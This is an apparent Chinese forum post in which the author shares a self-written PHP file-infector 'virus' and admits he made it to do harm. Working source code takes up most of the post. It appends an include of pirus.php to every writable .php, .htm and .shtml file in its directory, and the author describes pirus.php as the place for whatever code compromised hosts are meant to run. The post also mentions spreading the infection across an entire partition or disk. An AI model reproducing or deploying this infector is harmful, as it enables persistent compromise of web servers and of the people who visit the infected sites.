给大家一个PHP的病毒哈
初学PHP的一点成果,就拿来做坏事, 呵呵。。
当然,这个病毒的作用其实也很简单(我也是才学哈)
就是感染病毒所在目录下的所有网页文件。打开它们,并在其中添加一条语句
<?php include("pirus.php");?>
这样,被感染的网页文件,在每次被访问的时候都会去调用一次pirus.php,即运行一次pirus.php.
当然,也可以让它感染上级和下级目录,对windows来说,可以感染整个分区对Linux那就是整个硬盘了。
pirus.php 这个文件,就可以放我们想要让肉鸡运行的代码。然后将这个文件隐藏在一个阴暗的角落。
这样,一旦病毒发作,那么无论用户访问网站的什么网页,都会调用pirus.php了,不过倒霉的不一定是访问网页的用户哈,也可能是服务器自身,全看pirus.php里面是什么代码了。。
下面是代码。
\<?php
$loc=opendir('.'); //This opens the current directory the php file is in
//或者用 $path=str_replace('\\','/',dirname(_FILE_));
// $loc=@opendir($path); 代替上面那一行也可以。
while ($file = @readdir($loc)) //makes a looop so it works while there is still an un-infected file
{ $infected=true; //making sure we dont infect this file
$caniwrite=false;
if ( ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.htm')) || ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.shtml')) ) //checking if the file has the correct extension
if ( is_file($file) && is_writeable($file) ) //making sure we can output to the file
{
$output = fopen($file, "r"); //opening file for reading
$contents = fread ($output , filesize ($file)); //getting some info for checking
$mine = strstr ($contents, 'pirus.php'); //is it our file?
if(!$mine ) $infected=false; //if the file is not this one, say it is not infected
}
//infection
if (($infected==false))
{
$output = fopen($file, "a"); //open it for appending
fputs($output ,"<?php ");
fputs($output ,"include(\"");
fputs($output ,"pirus.php");
fputs($output ,"\"); ");
fputs($output ,"?>");
fclose($output ); //closing file
}
}
closedir($loc);
return;
?>